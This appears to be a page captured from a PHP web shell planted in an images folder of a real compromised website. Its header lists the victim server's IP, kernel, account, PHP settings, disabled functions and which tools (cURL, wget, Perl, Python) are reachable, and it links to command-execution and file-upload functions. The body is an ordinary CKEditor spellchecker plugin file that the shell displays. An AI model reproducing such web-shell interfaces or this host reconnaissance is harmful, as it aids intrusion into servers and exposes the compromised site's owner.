|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/public_html/ckeditor4.10.1/plugins/enterkey/../wsc/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
// Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
// For licensing, see LICENSE.md or http://ckeditor.com/license
CKEDITOR.plugins.add( 'wsc', {
requires: 'dialog',
lang: 'af,ar,bg,bn,bs,ca,cs,cy,da,de,el,en-au,en-ca,en-gb,en,eo,es,et,eu,fa,fi,fo,fr-ca,fr,gl,gu,he,hi,hr,hu,is,it,ja,ka,km,ko,lt,lv,mk,mn,ms,nb,nl,no,pl,pt-br,pt,ro,ru,sk,sl,sr-latn,sr,sv,th,tr,ug,uk,vi,zh-cn,zh', // %REMOVE_LINE_CORE%
icons: 'spellchecker', // %REMOVE_LINE_CORE%
hidpi: true, // %REMOVE_LINE_CORE%
parseApi: function(editor) {
editor.config.wsc_onFinish = (typeof editor.config.wsc_onFinish === 'function') ? editor.config.wsc_onFinish : function() {};
editor.config.wsc_onClose = (typeof editor.config.wsc_onClose === 'function') ? editor.config.wsc_onClose : function() {};
},
parseConfig: function(editor) {
editor.config.wsc_customerId = editor.config.wsc_customerId || CKEDITOR.config.wsc_customerId || '1:ua3xw1-2XyGJ3-GWruD3-6OFNT1-oXcuB1-nR6Bp4-hgQHc-EcYng3-sdRXG3-NOfFk';
editor.config.wsc_customDictionaryIds = editor.config.wsc_customDictionaryIds || CKEDITOR.config.wsc_customDictionaryIds || '';
editor.config.wsc_userDictionaryName = editor.config.wsc_userDictionaryName || CKEDITOR.config.wsc_userDictionaryName || '';
editor.config.wsc_customLoaderScript = editor.config.wsc_customLoaderScript || CKEDITOR.config.wsc_customLoaderScript;
editor.config.wsc_interfaceLang = editor.config.wsc_interfaceLang; //option to customize the interface language 12/28/2015
CKEDITOR.config.wsc_cmd = editor.config.wsc_cmd || CKEDITOR.config.wsc_cmd || 'spell'; // spell, thes or grammar. default tab
CKEDITOR.config.wsc_version="v4.3.0-master-d769233";
CKEDITOR.config.wsc_removeGlobalVariable = true;
},
onLoad: function(editor){
// Append skin specific stylesheet fo moono-lisa skin.
if ( ( CKEDITOR.skinName || editor.config.skin ) == 'moono-lisa' ) {
CKEDITOR.document.appendStyleSheet( this.path + 'skins/' + CKEDITOR.skin.name + '/wsc.css' );
}
},
init: function( editor ) {
var commandName = 'checkspell';
var strNormalDialog = 'dialogs/wsc.js',
strIeDialog = 'dialogs/wsc_ie.js',
strDialog,
self = this,
env = CKEDITOR.env;
self.parseConfig(editor);
self.parseApi(editor);
var command = editor.addCommand( commandName, new CKEDITOR.dialogCommand( commandName ) );
// SpellChecker doesn't work in Opera, with custom domain, IE Compatibility Mode and IE (8 & 9) Quirks Mode
command.modes = { wysiwyg: ( !CKEDITOR.env.opera && !CKEDITOR.env.air && document.domain == window.location.hostname &&
!( env.ie && ( env.version < 8 || env.quirks ) ) ) };
if(typeof editor.plugins.scayt == 'undefined'){
editor.ui.addButton && editor.ui.addButton( 'SpellChecker', {
label: editor.lang.wsc.toolbar,
click: function(editor) {
var inlineMode = (editor.elementMode == CKEDITOR.ELEMENT_MODE_INLINE),
text = inlineMode ? editor.container.getText() : editor.document.getBody().getText();
text = text.replace(/\s/g, '');
if(text) {
editor.execCommand('checkspell');
} else {
alert('Nothing to check!');
}
},
toolbar: 'spellchecker,10'
});
}
if ( CKEDITOR.env.ie && CKEDITOR.env.version <= 7 ){
strDialog = strIeDialog;
} else {
if (!window.postMessage) {
strDialog = strIeDialog;
} else {
strDialog = strNormalDialog;
}
}
CKEDITOR.dialog.add( commandName, this.path + strDialog );
}
});
/**
* The parameter sets the customer ID for WSC. It is used for hosted users only. It is required for migration from free
* to trial or paid versions.
*
* config.wsc_customerId = 'encrypted-customer-id';
*
* @cfg {String} [wsc_customerId='1:ua3xw1-2XyGJ3-GWruD3-6OFNT1-oXcuB1-nR6Bp4-hgQHc-EcYng3-sdRXG3-NOfFk']
* @member CKEDITOR.config
*/
/**
* It links WSC to custom dictionaries. It should be a string with dictionary IDs
* separated by commas (`','`). Available only for the licensed version.
*
* Further details at [http://wiki.webspellchecker.net/doku.php?id=installationandconfiguration:customdictionaries:licensed](http://wiki.webspellchecker.net/doku.php?id=installationandconfiguration:customdictionaries:licensed)
*
* config.wsc_customDictionaryIds = '1,3001';
*
* @cfg {String} [wsc_customDictionaryIds='']
* @member CKEDITOR.config
*/
/**
* It activates a user dictionary for WSC. The user dictionary name should be used. Available only for the licensed version.
*
* config.wsc_userDictionaryName = 'MyUserDictionaryName';
*
* @cfg {String} [wsc_userDictionaryName='']
* @member CKEDITOR.config
*/
/**
* The parameter sets the URL to WSC file. It is required to the licensed version of WSC application.
*
* Further details available at [http://wiki.webspellchecker.net/doku.php?id=migration:hosredfreetolicensedck](http://wiki.webspellchecker.net/doku.php?id=migration:hosredfreetolicensedck)
*
* config.wsc_customLoaderScript = "http://my-host/spellcheck/lf/22/js/wsc_fck2plugin.js";
*
* @cfg {String} [wsc_customLoaderScript='']
* @member CKEDITOR.config
*/
/**
* The parameter sets the default spellchecking language for WSC. Possible values are:
* `'da_DK'`, `'de_DE'`, `'el_GR'`, `'en_CA'`,
* `'en_GB'`, `'en_US'`, `'es_ES'`, `'fi_FI'`,
* `'fr_CA'`, `'fr_FR'`, `'it_IT'`, `'nb_NO'`
* `'nl_NL'`, `'sv_SE'`.
*
* Customers with dedicated WebSpellChecker license may also set `'pt_BR'` and `'pt_PT'`.
*
* Further details available at [http://wiki.webspellchecker.net/doku.php?id=installationandconfiguration:supportedlanguages](http://wiki.webspellchecker.net/doku.php?id=installationandconfiguration:supportedlanguages)
*
* config.wsc_lang = 'de_DE';
*
* @cfg {String} [wsc_lang='en_US']
* @member CKEDITOR.config
*/
/**
* The parameter sets the active tab, when the WSC dialog is opened.
* Possible values are:
* `'spell'`, `'thes'`, `'grammar'`.
*
* // Sets active tab thesaurus.
* config.wsc_cmd = 'thes';
*
* @cfg {String} [wsc_cmd='spell']
* @member CKEDITOR.config
*/
/**
* The parameter sets width of the WSC pop-up window. Specified in pixels.
*
* // Set the pop-up width.
* config.wsc_width = 800;
*
* @cfg {String} [wsc_width=580]
* @member CKEDITOR.config
*/
/**
* The parameter sets height of the WSC pop-up window. Specified in pixels.
*
* // Set the pop-up height.
* config.wsc_height = 800;
*
* @cfg {String} [wsc_height = Content based.]
* @member CKEDITOR.config
*/
/**
* The parameter sets left margin of the WSC pop-up window. Specified in pixels.
*
* // Set left margin.
* config.wsc_left = 0;
*
* @cfg {String} [wsc_left = In the middle of the screen.]
* @member CKEDITOR.config
*/
/**
* The parameter sets top margin of the WSC pop-up window. Specified in pixels.
*
* // Sets top margin.
* config.wsc_top = 0;
*
* @cfg {String} [wsc_top = In the middle of the screen.]
* @member CKEDITOR.config
*/